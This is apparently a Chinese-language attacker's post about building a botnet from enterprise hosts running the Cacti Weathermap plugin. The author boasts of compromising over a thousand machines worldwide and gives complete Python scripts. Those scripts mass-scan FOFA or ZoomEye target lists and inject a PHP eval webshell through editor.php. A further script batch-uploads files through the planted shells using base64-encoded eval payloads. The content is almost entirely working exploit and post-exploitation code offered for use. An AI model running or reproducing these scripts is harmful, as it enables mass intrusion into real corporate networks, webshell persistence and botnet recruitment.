企业核心区域除线上业务,只剩下运维与数据库相关系统,想建立僵尸网络,在完成平时的渗透工作时快速定位自己是否有目标相关内网权限,挂马获取员工PC起或者一些新装服务挂马,基效果并不会太好,一些服务如: walle,HUE,Django,zabbix,zookeeper,hadoop,Flume-ng、GraphicsMagick。这些系统如果能找到相关主机漏洞或者相对鸡肋的漏洞,都可以获取质量相对较高的内网权限。
这次,我们使用的是cacti。一个很老的漏洞,之前是东西是2015年写的POC的,之前抓到了2000+,最近需要一些肉鸡,所以又试了一下,发现还是能找到1000多台全球主机,基本都在企业内网,包括国内外知名企业。
可以使用zoomeyes api 与fafo api ,我使用的是fofa。
zoomeyes 与 fafo 采集结果数据两者是不同的。所以exp 我给出两种不同结构。
zoomeyes数据结构: (域名) +端口
fofa数据结构: http://+ (域名)+端口
使用命令 exp.py -f ip.txt (IP里面格式一行放一个IP) ,IP端口需要修改的话,请修改port_list。这种对应 zoomeyes的数据结构。
import argparse import sys import netaddr import multiprocessing import time import Queue import requests import threading port_list = ['80,443,8080,81,8081'] payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload2 = '/plugins/weathermap/configs/conn.php' payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload4 = '/cacti/plugins/weathermap/configs/conn.php' class main_class(object): def __init__(self,target_ip,thread_num): #print target_ip self.target_ip = target_ip self.thread_num = thread_num self.queue = Queue.Queue() self.start_time = time.time() self.load_queue() def load_queue(self): for i in port_list: self.queue.put(i) def worker(self): while self.queue.qsize() > 0: port = self.queue.get() try: req = requests.get("http://"+self.target_ip+":"+port,timeout=3) if "Cacti" in req.content: try: #print self.target_ip requests.get("http://"+self.target_ip+":"+port+payload,timeout=3) req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: #print self.target_ip,port print "http://"+self.target_ip+":"+port+payload2 except: try: requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3) req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: #print self.target_ip,port print "http://"+self.target_ip+":"+port+payload4 except: pass else: continue except: pass self.queue.task_done() def main(self): thread_list = [] for i in range(self.thread_num): t = threading.Thread(target = self.worker) thread_list.append(t) t.setDaemon(True) t.start() for i in thread_list: i.join() def func(ip,num): #for i in xrange(3): #print ip main = main_class(target_ip = ip,thread_num = num) main.main() time.sleep(0.1) if __name__ == "__main__": parser = argparse.ArgumentParser(description='portscan') parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int) parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str) parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str) parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str) if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() a = [] if args.dest_ip: a.append(args.dest_ip) elif args.dest_ipaddr: for i in netaddr.IPNetwork(args.dest_ipaddr): a.append(i) elif args.dest_file: for i in open(args.dest_file).readlines(): i = i.strip('/n') a.append(i) else: print "-t -i or -a or -f" sys.exit(-1) for target_ip in a: pool = multiprocessing.Pool(processes=2) pool.apply_async(func, (target_ip,args.thread_num)) pool.close() pool.join()
使用命令 exp.py -f ip.txt (ip.txt格式:http://(IP或者域名):端口)
import argparse import sys import netaddr import multiprocessing import time import Queue import requests import threading port_list = ['80,443,8080,81,8081'] payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload2 = '/plugins/weathermap/configs/conn.php' payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload4 = '/cacti/plugins/weathermap/configs/conn.php' class main_class(object): def __init__(self,target_ip,thread_num): #print target_ip self.target_ip = target_ip self.thread_num = thread_num self.queue = Queue.Queue() self.start_time = time.time() self.load_queue() def load_queue(self): for i in port_list: self.queue.put(i) def worker(self): while self.queue.qsize() > 0: port = self.queue.get() try: req = requests.get("http://"+self.target_ip+":"+port,timeout=3) if "Cacti" in req.content: try: #print self.target_ip requests.get("http://"+self.target_ip+":"+port+payload,timeout=3) req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: #print self.target_ip,port print "http://"+self.target_ip+":"+port+payload2 except: try: requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3) req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: #print self.target_ip,port print "http://"+self.target_ip+":"+port+payload4 except: pass else: continue except: pass self.queue.task_done() def main(self): thread_list = [] for i in range(self.thread_num): t = threading.Thread(target = self.worker) thread_list.append(t) t.setDaemon(True) t.start() for i in thread_list: i.join() def func(ip,num): #for i in xrange(3): #print ip main = main_class(target_ip = ip,thread_num = num) main.main() time.sleep(0.1) if __name__ == "__main__": parser = argparse.ArgumentParser(description='portscan') parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int) parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str) parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str) parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str) if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() a = [] if args.dest_ip: a.append(args.dest_ip) elif args.dest_ipaddr: for i in netaddr.IPNetwork(args.dest_ipaddr): a.append(i) elif args.dest_file: for i in open(args.dest_file).readlines(): i = i.strip('/n') a.append(i) else: print "-t -i or -a or -f" sys.exit(-1) for target_ip in a: pool = multiprocessing.Pool(processes=2) pool.apply_async(func, (target_ip,args.thread_num)) pool.close() pool.join()
对https处理有些问题,如果https使用下面:
import argparse import sys import netaddr import multiprocessing import time import Queue import requests import threading import os import signal port_list = ('80') payload1 = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload2 = '/plugins/weathermap/configs/conn.php' payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=↦_title=<?php echo(md5(1));@eval($_POST[0]);?>↦_legend=Traffic+Load↦_stamp=Created:+%b+%d+%Y+%H:%M:%S↦_linkdefaultwidth=7↦_linkdefaultbwin=100M↦_linkdefaultbwout=100M↦_width=800↦_height=600↦_pngfile=↦_htmlfile=↦_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name' payload4 = '/cacti/plugins/weathermap/configs/conn.php' requests.packages.urllib3.disable_warnings() class main_class(object): def __init__(self,target_ip,thread_num): #print os.getpid() self.target_ip = target_ip self.thread_num = thread_num self.queue = Queue.Queue() self.start_time = time.time() self.load_queue() def load_queue(self): for i in port_list: self.queue.put(i) def worker(self): while self.queue.qsize() > 0: port = self.queue.get() #print self.target_ip,port try: req = requests.get(self.target_ip,timeout=4, verify=False) if "Cacti" in req.content: try: r = requests.get(self.target_ip+payload3,timeout=4,verify=False) if r.status_code == 404: requests.get(self.target_ip+payload1,timeout=4,verify=False) req = requests.get(self.target_ip+payload2,timeout=4,verify=False) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: print self.target_ip+payload2 #os.kill(os.getpid(), signal.SIGKILL) else: req = requests.get(self.target_ip+payload4,timeout=4,verify=False) if "c4ca4238a0b923820dcc509a6f75849b" in req.content: print self.target_ip+"payload4" #os.kill(os.getpid(), signal.SIGKILL) except: #print "error1" pass except: #print "error2" pass self.queue.task_done() def main(self): thread_list = [] for i in range(self.thread_num): t = threading.Thread(target = self.worker) thread_list.append(t) t.setDaemon(True) t.start() for i in thread_list: i.join() def func(ip,num): #for i in xrange(3): #print ip main = main_class(target_ip = ip,thread_num = num) main.main() time.sleep(0.1) if __name__ == "__main__": parser = argparse.ArgumentParser(description='portscan') parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int) parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str) parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str) parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str) if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() a = [] if args.dest_ip: a.append(args.dest_ip) elif args.dest_ipaddr: for i in netaddr.IPNetwork(args.dest_ipaddr): a.append(i) elif args.dest_file: for i in open(args.dest_file).readlines(): i = i.strip('/n') a.append(i) else: print "-t -i or -a or -f" sys.exit(-1) try: pool = multiprocessing.Pool(processes=5) for target_ip in a: pool.apply_async(func, (target_ip,args.thread_num)) #pool.apply(func, (target_ip,args.thread_num)) pool.close() pool.join() except KeyboardInterrupt,e: sys.exit(-1)
这里安全小飞侠写过一个脚本: http://www.freebuf.com/sectool/91082.html 但不支持HTTPS,需要在上面
import ssl ssl._create_default_https_context = ssl._create_unverified_context
解决访问Https时不受信任SSL证书问题
使用命令: shell.py webshell.txt wenjian.txt (webshell.txt文件格式 http://xx.com/muma.php,0 ),(wenjian.txt 上传文件的格式,如果上传PHP,一定要是PHP后缀)
代码:
#!/usr/bin/python #coding=utf-8 import urllib import urllib2 import sys import base64 import re import ssl ssl._create_default_https_context = ssl._create_unverified_context def post(url, data): req = urllib2.Request(url) data = urllib.urlencode(data) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) response = opener.open(req, data) return response.read() def get_shell_path(posturl,passwd): shell_path = "" try: data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107' shell_path = post(posturl, data).strip() except Exception: pass return shell_path def main(): print '/n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++/n' shellfile = sys.argv[1] # 存放webshell路径和密码的文件 localfile = sys.argv[2] # 本地待上传的文件名 shell_file = open(shellfile,'rb') local_content = str(open(localfile,'rb').read()) for eachline in shell_file: posturl = eachline.split(',')[0].strip() passwd = eachline.split(',')[1].strip() try: reg = ".*/([^/]*/.php?)" match_shell_name = re.search(reg,eachline) if match_shell_name: shell_name=match_shell_name.group(1) shell_path = get_shell_path(posturl,passwd).strip() target_path = shell_path.split(shell_name)[0]+localfile target_path_base64 = base64.b64encode(target_path) target_file_url = eachline.split(shell_name)[0]+localfile data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7' data['z1']=target_path_base64 data['z2']=base64.b64encode(local_content) response = post(posturl, data) if response: print '[+] '+target_file_url+', upload succeed!' else: print '[-] '+target_file_url+', upload failed!' else: print '[-] '+posturl+', unsupported webshell!' except Exception,e: print '[-] '+posturl+', connection failed!' shell_file.close() if __name__ == '__main__': main()
//